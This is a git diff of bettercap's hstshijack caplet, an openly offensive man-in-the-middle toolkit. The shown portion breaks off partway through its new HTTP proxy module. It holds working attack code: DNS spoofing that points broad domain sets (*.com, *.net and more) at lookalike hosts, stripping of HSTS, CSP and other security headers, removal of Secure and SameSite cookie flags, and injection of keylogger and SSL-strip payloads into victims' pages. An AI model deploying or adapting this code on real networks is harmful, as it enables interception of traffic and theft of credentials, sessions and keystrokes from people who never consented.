diff --git a/hstshijack/README.md b/hstshijack/README.md
index f451606..a6a6f14 100644
--- a/hstshijack/README.md
+++ b/hstshijack/README.md
@@ -2,51 +2,56 @@
-### Caplet
+### Caplet ([hstshijack.cap](https://github.com/bettercap/caplets/blob/master/hstshijack/hstshijack.cap))
```sh
# Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
# Domains assigned to 'hstshijack.targets', 'hstshijack.blockscripts' and 'hstshijack.payloads'
# variables get precendence over those assigned to the 'hstshijack.ignore' variable.
-set hstshijack.targets *.google.com, google.com, gstatic.com, *.gstatic.com
-set hstshijack.replacements *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
-set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/domains.txt
-set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/index.json
-set hstshijack.ssl.check true
-#set hstshijack.blockscripts example.com,*.example.com
-set hstshijack.obfuscate true
-set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js
-set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/whitelist.json
-set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com
+set hstshijack.targets *.com, *.net,*.me, *.nl,*.ai,*.co.uk,*.cn,*.google
+set hstshijack.replacements *.corn,*.nel,*.rne,*.ni,*.al,*.cc.uk,*.ch,*.googl
+set hstshijack.replacements.req.body /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Body.json
+set hstshijack.replacements.req.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/req.Headers.json
+set hstshijack.replacements.req.url /usr/local/share/bettercap/caplets/hstshijack/replacements/req.URL.json
+set hstshijack.replacements.res.body /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Body.json
+set hstshijack.replacements.res.headers /usr/local/share/bettercap/caplets/hstshijack/replacements/res.Headers.json
+set hstshijack.ssl.domains /usr/local/share/bettercap/caplets/hstshijack/ssl/domains.txt
+set hstshijack.ssl.index /usr/local/share/bettercap/caplets/hstshijack/ssl/index.json
+set hstshijack.ssl.index.check true
+set hstshijack.ssl.discovery.synchronous true
+set hstshijack.ssl.discovery.timeout 4
+set hstshijack.cookies.downgrade true
+#set hstshijack.blockscripts example.com,*.example.com
+set hstshijack.obfuscate true
+set hstshijack.payloads *:/usr/local/share/bettercap/caplets/hstshijack/payloads/hijack.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/sslstrip.js,*:/usr/local/share/bettercap/caplets/hstshijack/payloads/keylogger.js,*.google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js,google.com:/usr/local/share/bettercap/caplets/hstshijack/payloads/google-search.js
+set hstshijack.whitelist /usr/local/share/bettercap/caplets/hstshijack/session/whitelist.json
+set hstshijack.ignore captive.apple.com,connectivitycheck.gstatic.com,detectportal.firefox.com,www.msftconnecttest.com
net.recon on
-set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/hstshijack.js
+set http.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/http.proxy.js
http.proxy on
-set dns.spoof.domains *.google.corn,google.corn,gstatic.corn,*.gstatic.corn
-set dns.spoof.all true
-dns.spoof on
+set dns.proxy.script /usr/local/share/bettercap/caplets/hstshijack/modules/dns.proxy.js
+dns.proxy on
```
### \n" +
- payload_container_prefix + injection + payload_container_suffix +
- "\n" +
- res.Body;
- }
- log_debug(on_blue + "hstshijack" + reset + " Injected document from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
- }
- }
-
- /* Spoof JavaScript bodies. */
- if (selector_content_type_js.test(res.ContentType)) {
- /* Block scripts. */
- for (a = 0; a < block_script_hosts.length; a++) {
- if (
- block_script_hosts[a] === "*"
- || toWholeRegexpSet(block_script_hosts[a], "")[0].test(req.Hostname)
- ) {
- res.Body = "";
- log_debug(on_blue + "hstshijack" + reset + " Cleared JavaScript resource from " + bold + req.Hostname + reset + ".");
- break;
- }
- }
-
- /* Inject payloads. */
- injection = "";
- for (a = 0; a < Object.keys(payloads).length; a++) {
- injecting_host = Object.keys(payloads)[a];
- if (
- injecting_host === "*"
- || toWholeRegexpSet(injecting_host, "")[0].test(req.Hostname)
- ) {
- injection = injection + payloads[injecting_host];
- }
- }
- if (injection !== "") {
- res.Body = payload_container_prefix + injection + payload_container_suffix + res.Body;
- log_debug(on_blue + "hstshijack" + reset + " Injected JavaScript file from " + bold + req.Hostname + reset + " for " + bold + req.Client.MAC + reset);
- }
- }
-
- /* Strip SSL from location headers. */
- res.Headers = res.Headers
- .replace(selector_scheme_http_https_colon, "$1:")
- .replace(selector_port_https, "$1");
-
- /* Spoof hosts in headers. */
- for (a = 0; a < target_hosts.length; a++) {
- regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]);
- res.Headers = res.Headers.replace(regexp_set[0], regexp_set[1]);
- }
-
- /* Remove secure cookie settings. */
- new_headers = "";
- res.Headers.split("\r\n").forEach(function(headerString){
- if (headerString !== "") {
- matches = headerString.match(selector_header);
- if (matches.length >= 3) {
- header_name = matches[1];
- header_value = matches[2];
- if (selector_header_set_cookie.test(header_name)) {
- new_header_value = "";
- cookie_params = header_value.split(";");
- cookie_params.forEach(function(cookie_param){
- if (cookie_param !== "") {
- stripped_cookie_param = cookie_param.match(selector_strip_whitespace)[1];
- if (!selector_header_set_cookie_secure_samesite.test(stripped_cookie_param)) {
- if (new_header_value === "") {
- new_header_value = stripped_cookie_param;
- } else {
- new_header_value += "; " + stripped_cookie_param;
- }
- }
- }
- });
- new_headers += header_name + ": " + new_header_value + "\r\n";
- } else {
- new_headers += header_name + ": " + header_value + "\r\n";
- }
- }
- }
- });
-
- /* Remove security headers. */
- res.Headers = res.Headers.replace(selector_header_csp, "");
- res.RemoveHeader("Strict-Transport-Security");
- res.RemoveHeader("Content-Security-Policy-Report-Only");
- res.RemoveHeader("Public-Key-Pins");
- res.RemoveHeader("Public-Key-Pins-Report-Only");
- res.RemoveHeader("X-Frame-Options");
- res.RemoveHeader("X-Content-Type-Options");
- res.RemoveHeader("X-Download-Options");
- res.RemoveHeader("X-Permitted-Cross-Domain-Policies");
- res.RemoveHeader("X-XSS-Protection");
- res.RemoveHeader("Expect-Ct");
-
- /* Set insecure headers. */
- allowed_origin = res.GetHeader("Access-Control-Allow-Origin", "*");
- if (allowed_origin !== "*") {
- for (a = 0; a < target_hosts.length; a++) {
- regexp_set = toRegexpSet(target_hosts[a], replacement_hosts[a]);
- regexp_set[0].lastIndex = 0;
- if (regexp_set[0].test(allowed_origin)) {
- allowed_origin = allowed_origin.replace(regexp_set[0], regexp_set[1]);
- break;
- }
- }
- }
- res.SetHeader("Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
- res.SetHeader("X-WebKit-CSP", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
- res.SetHeader("X-Content-Security-Policy", "default-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; worker-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: filesystem: 'unsafe-inline'; img-src * data: blob: filesystem: 'unsafe-inline'; frame-src * data: blob: filesystem: 'unsafe-inline'; object-src * data: blob: filesystem: 'unsafe-inline'; style-src * data: blob: filesystem: 'unsafe-inline'; report-uri x");
- res.SetHeader("Access-Control-Allow-Credentials", "true");
- res.SetHeader("Access-Control-Allow-Origin", allowed_origin);
- res.SetHeader("Access-Control-Allow-Methods", "*");
- res.SetHeader("Access-Control-Allow-Headers", "*");
- res.SetHeader("Cache-Control", "no-cache, no-store, must-revalidate");
- res.SetHeader("Expires", "Fri, 20 Apr 2018 04:20:00 GMT");
- res.SetHeader("Pragma", "no-cache");
- }
-}
diff --git a/hstshijack/modules/dns.proxy.js b/hstshijack/modules/dns.proxy.js
new file mode 100644
index 0000000..4a190bd
--- /dev/null
+++ b/hstshijack/modules/dns.proxy.js
@@ -0,0 +1,66 @@
+var addr = env("iface.ipv4");
+
+var hostnames = [];
+
+var Rrtype = {
+ None: 0,
+ A: 1,
+// CNAME: 5,
+ AAAA: 28,
+};
+
+String.prototype.endsWith = function(suffix) {
+ return this.slice(-1 * suffix.length) === suffix;
+};
+
+String.prototype.isTargeted = function() {
+ var target = this.toLowerCase();
+ for (a = 0; a < hostnames.length; a++) {
+ var hostname = hostnames[a];
+ if (hostname[0] === "*") {
+ var suffix = hostname.slice(1);
+ if (target.endsWith(suffix + ".")) return true;
+ if (target.endsWith(suffix)) return true;
+ } else {
+ if (target === hostname + ".") return true;
+ if (target === hostname) return true;
+ }
+ }
+ return false;
+};
+
+function onRequest(req, res) {
+ // Respond to A queries
+ req.Questions.forEach(function(question) {
+ if (question.Qtype === Rrtype.A) {
+ if (question.Name.isTargeted()) {
+ res.Header.Response = true;
+ res.Header.RecursionAvailable = true;
+ res.Answers = res.Answers.concat({
+ A: addr,
+ Header: {
+ Class: question.Qclass,
+ Name: question.Name,
+ Rrtype: question.Qtype,
+ Ttl: 1,
+ },
+ });
+ }
+ }
+ });
+ // Drop AAAA queries
+ req.Questions = req.Questions.filter(function(question) {
+ return question.Qtype !== Rrtype.AAAA;
+ });
+ if (res.Header.Response === true && res.Answers.length === 0) {
+ res.Header.Rrtype = Rrtype.None;
+ // Silence DNS errors
+ res.Extras = [];
+ res.Nameserver = [];
+ }
+}
+
+function onLoad() {
+ hostnames = env["hstshijack.replacements"].replace(/\s/g, "").toLowerCase().split(",");
+}
+
diff --git a/hstshijack/modules/http.proxy.js b/hstshijack/modules/http.proxy.js
new file mode 100644
index 0000000..d1859f5
--- /dev/null
+++ b/hstshijack/modules/http.proxy.js
@@ -0,0 +1,1568 @@
+/**
+ * Documentation can be found at https://github.com/bettercap/caplets/tree/master/hstshijack
+ */
+
+var ssl = {
+ /* Prefix string mapped array of indexed domains. */
+ index: {},
+ /* Unicode hierarchy for domain names. */
+ hierarchy: "-.0123456789abcdefghijklmnopqrstuvwxyz",
+ /* Prefix hierarchy for domain names. */
+ prefixes: ["www.","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"],
+};
+
+var payload,
+ payload_container_prefix =
+ "if (!globalThis.{{SESSION_ID_TAG}}) {\n" +
+ "globalThis.{{SESSION_ID_TAG}} = function() {\n",
+ payload_container_suffix =
+ "\n}\n" +
+ "globalThis.{{SESSION_ID_TAG}}();\n" +
+ "}\n";
+
+var ignore_hosts = [],
+ target_hosts = [],
+ replacement_hosts = [],
+ block_script_hosts = [],
+ rx_sets_global_target_hosts = [], // host.com->nothost.com
+ rx_sets_global_replacement_hosts = [], // nothost.com->host.com
+ rx_sets_global_target_http_origins = [], // http://host.com->https://host.com
+ rx_sets_whole_target_hosts = [], // ^host.com$->^nothost.com$
+ rx_sets_whole_replacement_hosts = []; // ^nothost.com$->^host.com$
+
+var payloads = {},
+ obfuscate;
+
+var replacements_req_body,
+ replacements_req_headers,
+ replacements_req_url_path,
+ replacements_req_url_port,
+ replacements_req_url_query,
+ replacements_res_body,
+ replacements_res_headers,
+ rx_target_hosts_replacements_req_body = [],
+ rx_target_hosts_replacements_req_headers = [],
+ rx_target_hosts_replacements_req_url_path = [],
+ rx_target_hosts_replacements_req_url_port = [],
+ rx_target_hosts_replacements_req_url_query = [],
+ rx_target_hosts_replacements_res_body_html = [],
+ rx_target_hosts_replacements_res_body_javascript = [],
+ rx_target_hosts_replacements_res_body_json = [],
+ rx_target_hosts_replacements_res_headers = [];
+
+var callback_path,
+ whitelist_path,
+ ssl_index_path,
+ session_id,
+ varname_target_hosts,
+ varname_replacement_hosts;
+
+var cookie_host_prefix,
+ cookie_secure_prefix,
+ rx_global_cookie_host_prefix,
+ rx_global_cookie_secure_prefix,
+ downgrade_cookies;
+
+var ssl_discovery_delay,
+ ssl_discovery_synchronous;
+
+var math_seed;
+
+var whitelist = {};
+
+var rx_header_csp = /(?:x-webkit-csp|(?:x-)?content-security-policy)\s{0,100}:.*?\r\n/ig,
+ rx_header_cspro = /content-security-policy-report-only\s{0,100}:.*?\r\n/ig,
+ rx_header_corp = /cross-origin-resource-policy\s{0,100}:.*?\r\n/ig,
+ rx_content_type_html = /text[/](?:html|xml)|application[/](?:hta|xhtml[+]xml|xml)/i,
+ rx_content_type_js = /\S+\/javascript/i,
+ rx_content_type_json = /\S+\/json/i,
+ rx_doctype_html = //i,
+ rx_extension_html = /\.(?:html|htm|xml|xhtml|xhtm|xht|hta)$/i,
+ rx_extension_js = /\.(?:[m]?js|js[x]?)$/i,
+ rx_extension_json = /\.(?:json|map)$/i,
+ rx_uri_one = /^https:\/\/[a-z0-9]/i,
+ rx_uri_two = /^https:\/\/([^:/?#]+).*$/i,
+ rx_http_origin = /^(http:\/\/[a-z0-9-.]+).*/i,
+ rx_html_magic = /^\s{0,100})/ig,
+ rx_html_script_close_tag = /<\/script(\s|>)/ig,
+ rx_all_dashes = /-/g,
+ rx_all_dots = /\./g,
+ rx_scheme_http_https_colon = /(http)s:/ig,
+ rx_semicolon_separator = /\s{0,100};\s{0,100}/,
+ rx_port_https = /:443($|[^0-9])/g,
+ rx_regset_wildcard_one = /^\*\./,
+ rx_regset_wildcard_two = /\.\*$/,
+ rx_regset_wildcard_three = /\.\*$/g,
+ rx_regset_wildcard_four = /\.\*/g,
+ rx_query_param = /^([^=]*)=(.*)$/,
+ rx_cookie_host_prefix = /^__Host-/ig,
+ rx_cookie_secure_prefix = /^__Secure-/ig;
+
+var red = "\x1b[31m",
+ yellow = "\x1b[33m",
+ green = "\x1b[32m",
+/* lion stronger than machine */
+ blue = "\x1b[34m",
+ on_white = "\x1b[47;30m",
+ on_grey = "\x1b[40;37m",
+ on_blue = "\x1b[104;30m",
+ bold = "\x1b[1;37m",
+ reset = "\x1b[0m";
+
+/**
+ * @param {Object} cookie - Cookie object.
+ * @returns {String} header_value
+ */
+function cookieToResponseHeaderValue(cookie) {
+ if (typeof cookie.name !== "string" || cookie.name === "") {
+ log_error("error converting cookie to string: cookie has no name.");
+ return "";
+ }
+ var cookie_string = "";
+ if (typeof cookie.value === "string")
+ cookie_string = cookie.name + "=" + cookie.value
+ else return "";
+ if (typeof cookie.domain === "string" && cookie.domain !== "")
+ cookie_string += "; Domain=" + cookie.domain;
+ if (typeof cookie.path === "string" && cookie.path !== "")
+ cookie_string += "; Path=" + cookie.path;
+ if (typeof cookie.expires === "string" && cookie.expires !== "")
+ cookie_string += "; Expires=" + cookie.expires;
+ if (typeof cookie.maxAge === "string" && cookie.maxAge !== "")
+ cookie_string += "; Max-Age=" + cookie.maxAge;
+ if (typeof cookie.priority === "string" && cookie.priority !== "")
+ cookie_string += "; Priority=" + cookie.priority;
+ if (typeof cookie.sameSite === "string" && cookie.sameSite !== "")
+ cookie_string += "; SameSite=" + cookie.sameSite;
+ if (cookie.secure === true) cookie_string += "; Secure";
+ if (cookie.httpOnly === true) cookie_string += "; HttpOnly";
+ if (cookie.partitioned === true) cookie_string += "; Partitioned";
+ return cookie_string;
+}
+
+/**
+ * @param {String} cookie_string - Cookie string (Set-Cookie header value).
+ * @returns {Object} cookie
+ */
+function parseCookie(cookie_string) {
+ var cookie_attrs = cookie_string.split(rx_semicolon_separator);
+ if (cookie_attrs.length === 0) return null;
+ var cookie = {
+ name: "",
+ value: "",
+ domain: "",
+ path: "",
+ expires: "",
+ maxAge: "",
+ priority: "",
+ sameSite: "",
+ secure: false,
+ httpOnly: false,
+ partitioned: false,
+ };
+ cookie_attrs.forEach(function(attr, a) {
+ var separator_index = attr.indexOf('=');
+ var parts;
+ if (separator_index !== -1)
+ parts = [attr.slice(0, separator_index), attr.slice(separator_index + 1)]
+ else parts = [attr];
+ if (a === 0) {
+ cookie.name = parts[0];
+ if (parts.length === 2) cookie.value = parts[1];
+ } else {
+ switch (parts[0].toLowerCase()) {
+ case "domain":
+ if (parts.length === 2) cookie.domain = parts[1].toLowerCase();
+ break;
+ case "path":
+ if (parts.length === 2) cookie.path = parts[1];
+ break;
+ case "expires":
+ if (parts.length === 2) cookie.expires = parts[1];
+ break;
+ case "max-age":
+ if (parts.length === 2) {
+ var max_age = parseInt(parts[1]);
+ if (max_age !== NaN) cookie.maxAge = max_age.toString();
+ }
+ break;
+ case "priority":
+ if (parts.length === 2) cookie.priority = parts[1];
+ break;
+ case "samesite":
+ if (parts.length === 2) cookie.sameSite = parts[1];
+ break;
+ case "secure":
+ cookie.secure = true;
+ break;
+ case "httponly":
+ cookie.httpOnly = true;
+ break;
+ case "partitioned":
+ cookie.partitioned = true;
+ break;
+ default:
+ log_error("ignored an unexpected cookie attribute:", cookie_string);
+ break;
+ }
+ }
+ });
+ if (cookie.name !== "") return cookie;
+ log_error("cookie has no name:", cookie_string);
+ return null;
+}
+
+function randomString(length) {
+ length = parseInt(length);
+ var chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
+ buff = new Array(length);
+ for (var a = 0; a < buff.length; a++) {
+ index = parseInt(Math.random() * chars.length);
+ buff[a] = chars.charAt(index);
+ }
+ return buff.join("");
+}
+
+function toRegexp(selector_string, replacement_string) {
+ return [
+ new RegExp("(^|[^a-z0-9-.])" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+}
+
+function toHttpOriginRegexp(selector_string, replacement_string) {
+ return [
+ new RegExp("http://" + selector_string.replace(rx_all_dots, "\\.") + "([^a-z0-9-.]|$)", "ig"),
+ "https://" + replacement_string + "$2"
+ ];
+}
+
+function toWholeRegexp(selector_string, replacement_string) {
+ return [
+ new RegExp("^" + selector_string.replace(rx_all_dots, "\\.") + "$", "ig"),
+ replacement_string
+ ];
+}
+
+function toWildcardRegexp(selector_string, replacement_string) {
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = selector_string + "([^a-z0-9-.]|$)";
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "(^|[^a-z0-9-.])" + selector_string;
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "$1" + replacement_string + "$2"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardRegexp() value (got " + selector_string + ").");
+ }
+}
+
+function toWildcardHttpOriginRegexp(selector_string, replacement_string) {
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "http://" + selector_string + "([^a-z0-9-.]|$)";
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "https://$1" + replacement_string + "$2"
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_three, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ selector_string = "http://" + selector_string;
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ "https://" + replacement_string + "$1"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWildcardHttpOriginRegexp() value (got " + selector_string + ").");
+ }
+}
+
+function toWholeWildcardRegexp(selector_string, replacement_string) {
+ selector_string = selector_string.replace(rx_all_dashes, "\\-");
+ if (rx_regset_wildcard_one.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_one, "((?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?.)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ replacement_string = replacement_string.replace(rx_regset_wildcard_one, "");
+ return [
+ new RegExp("^" + selector_string + "$", "ig"),
+ "$1" + replacement_string
+ ];
+ } else if (rx_regset_wildcard_two.test(selector_string)) {
+ selector_string = selector_string.replace(rx_regset_wildcard_four, "((?:.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)+)");
+ selector_string = selector_string.replace(rx_all_dots, "\\.");
+ replacement_string = replacement_string.replace(rx_regset_wildcard_two, "");
+ return [
+ new RegExp(selector_string, "ig"),
+ replacement_string + "$1"
+ ];
+ } else {
+ log_error(on_blue + "hstshijack" + reset + " Invalid toWholeWildcardRegexp() value (got " + selector_string + ").");
+ }
+}
+
+/* Matches /(^|[^a-z0-9-.])example\.com([^a-z0-9-.]|$)/ig */
+function toRegexpSet(selector_string, replacement_string) {
+ if (selector_string.indexOf("*") !== -1) {
+ return toWildcardRegexp(selector_string, replacement_string);
+ } else {
+ return toRegexp(selector_string, replacement_string);
+ }
+}
+
+/* Matches /http:\/\/example\.com([^a-z0-9-.]|$)/ig */
+function toHttpOriginRegexpSet(selector_string, replacement_string) {
+ if (selector_string.indexOf("*") !== -1) {
+ return toWildcardHttpOriginRegexp(selector_string, replacement_string);
+ } else {
+ return toHttpOriginRegexp(selector_string, replacement_string);
+ }
+}
+
+/* Matches ^example.com$ */
+function toWholeRegexpSet(selector_string, replacement_string) {
+ if (selector_string.indexOf("*") !== -1) {
+ return toWholeWildcardRegexp(selector_string, replacement_string);
+ } else {
+ return toWholeRegexp(selector_string, replacement_string);
+ }
+}
+
+/* Saves the list of domains using SSL, as well as its index ranges. */
+function saveSSLIndex() {
+ domains = [];
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ domains = domains.concat(ssl.index[prefix]);
+ }
+ ssl.domains = domains;
+ writeFile(env["hstshijack.ssl.domains"], domains.join("\n"));
+ writeFile(env["hstshijack.ssl.index"], JSON.stringify(ssl.index));
+}
+
+/* Saves the whitelist. */
+function saveWhitelist() {
+ writeFile(env["hstshijack.whitelist"], JSON.stringify(whitelist));
+}
+
+/* Returns the amount of characters of an identical prefix of two given strings. */
+function getMatchingPrefixLength(string1, string2) {
+ count = 0;
+ if (string1.length > string2.length) {
+ for (a = 0; a !== string2.length; a++) {
+ if (string1.charAt(a) !== string2.charAt(a)) {
+ break;
+ }
+ count++;
+ }
+ } else {
+ for (a = 0; a !== string1.length; a++) {
+ if (string1.charAt(a) !== string2.charAt(a)) {
+ break;
+ }
+ count++;
+ }
+ }
+ return count;
+}
+
+/* Returns true if domain1 gets alphanumeric precendence over domain2. */
+function getsPrecedence(domain1, domain2) {
+ if (domain1.length > domain2.length) {
+ /* If the first given domain is longer than the second. */
+ for (a = 0; a !== domain2.length; a++) {
+ rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+ rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+ if (rank1 > rank2) {
+ return false;
+ } else if (rank1 < rank2) {
+ return true;
+ }
+ }
+ return false;
+ } else {
+ /* If the second given domain is longer than the first. */
+ for (a = 0; a !== domain1.length; a++) {
+ rank1 = ssl.hierarchy.indexOf(domain1.charAt(a));
+ rank2 = ssl.hierarchy.indexOf(domain2.charAt(a));
+ if (rank1 > rank2) {
+ return false;
+ } else if (rank1 < rank2) {
+ return true;
+ }
+ }
+ return true;
+ }
+}
+
+/* Returns the index of a given domain. */
+function getDomainIndex(domain) {
+ domain = domain.toLowerCase();
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ if (domain.startsWith(prefix)) {
+ return ssl.index[prefix].indexOf(domain);
+ }
+ }
+}
+
+/* Index a new domain. */
+function indexDomain(domain) {
+ domain = domain.toLowerCase();
+ domain_prefix = "";
+ for (a = 0; a !== ssl.prefixes.length; a++) {
+ prefix = ssl.prefixes[a];
+ if (domain.startsWith(prefix)) {
+ domain_prefix = prefix;
+ break;
+ }
+ }
+ indexed_domains = ssl.index[domain_prefix];
+ if (indexed_domains.indexOf(domain) === -1) {
+ /* This domain is not indexed yet. */
+ log_debug(on_blue + "hstshijack" + reset + " Indexing domain " + bold + domain + reset + " ...");
+ if (indexed_domains.length !== 0) {
+ for (a = 0; a < indexed_domains.length; a++) {
+ indexed_domain = indexed_domains[a];
+ if (getsPrecedence(domain, indexed_domain)) {
+ ssl.index[domain_prefix] = indexed_domains.slice(0, a)
+ .concat(domain)
+ .concat(indexed_domains.slice(a, indexed_domains.length));
+ saveSSLIndex();
+ return;
+ }
+ }
+ ssl.index[domain_prefix].push(domain);
+ } else {
+ ssl.index[domain_prefix] = [domain];
+ }
+ saveSSLIndex();
+ } else {
+ /* This domain is already indexed. */
+ log_debug(on_blue + "hstshijack" + reset + " Skipped already indexed domain " + bold + domain + reset);
+ }
+}
+
+function configure() {
+ /* Read caplet. */
+ env["hstshijack.ignore"]
+ ? ignore_hosts = env["hstshijack.ignore"].replace(/\s/g, "$1").split(",")
+ : ignore_hosts = [];
+ env["hstshijack.targets"]
+ ? target_hosts = env["hstshijack.targets"].replace(/\s/g, "$1").split(",")
+ : target_hosts = [];
+ env["hstshijack.replacements"]
+ ? replacement_hosts = env["hstshijack.replacements"].replace(/\s/g, "$1").split(",")
+ : replacement_hosts = [];
+ env["hstshijack.blockscripts"]
+ ? block_script_hosts = env["hstshijack.blockscripts"].replace(/^\s*(.*?)\s*$/g, "$1").split(",")
+ : block_script_hosts = [];
+ env["hstshijack.obfuscate"]
+ ? obfuscate = env["hstshijack.obfuscate"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
+ : obfuscate = false;
+ env["hstshijack.cookies.downgrade"]
+ ? downgrade_cookies = env["hstshijack.cookies.downgrade"].replace(/^\s*(.*?)\s*$/g, "$1").toLowerCase() === "true" ? true : false
+ : downgrade_cookies = false;
+
+ /* Validate caplet. */
+ if (target_hosts.length < replacement_hosts.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " Too many hstshijack.replacements (got " + replacement_hosts.length + ").");
+ }
+ if (target_hosts.length > replacement_hosts.length) {
+ log_fatal(on_blue + "hstshijack" + reset + " Not enough hstshijack.replacements (got " + replacement_hosts.length + ").");
+ }
+ if (target_hosts.indexOf("*") !== -1) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got *).");
+ }
+ if (replacement_hosts.indexOf("*") !== -1) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got *).");
+ }
+
+ var rx_whole_prefix_wildcard_domain = /^(?:\*\.[a-z]{1,63}|(?:(?:\*\.|)(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+(?:[a-z]{1,63})))$/i;
+ var rx_whole_suffix_wildcard_domain = /^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+\*$/i;
+ for (a = 0; a < ignore_hosts.length; a++) {
+ if (
+ !/^\*$/i.test(ignore_hosts[a])
+ && !rx_whole_prefix_wildcard_domain.test(ignore_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(ignore_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.ignore value (got " + ignore_hosts[a] + ").");
+ }
+ }
+
+ for (a = 0; a < target_hosts.length; a++) {
+ if (
+ !rx_whole_prefix_wildcard_domain.test(target_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(target_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.targets value (got " + target_hosts[a] + ").");
+ }
+
+ if (
+ !rx_whole_prefix_wildcard_domain.test(replacement_hosts[a])
+ && !rx_whole_suffix_wildcard_domain.test(replacement_hosts[a])
+ ) {
+ log_fatal(on_blue + "hstshijack" + reset + " Invalid hstshijack.replacements value (got " + replacement_hosts[a] + ").");
+ }
+
+ if (/\*/g.test(target_hosts[a]) || /\*/g.test(replacement_hosts[a])) {
+ target_host_wildcard_count = target_hosts[a].match(/\*/g).length || 0;
+ replacement_host_wildcard_count = replacement_hosts[a].match(/\*/g).length || 0;
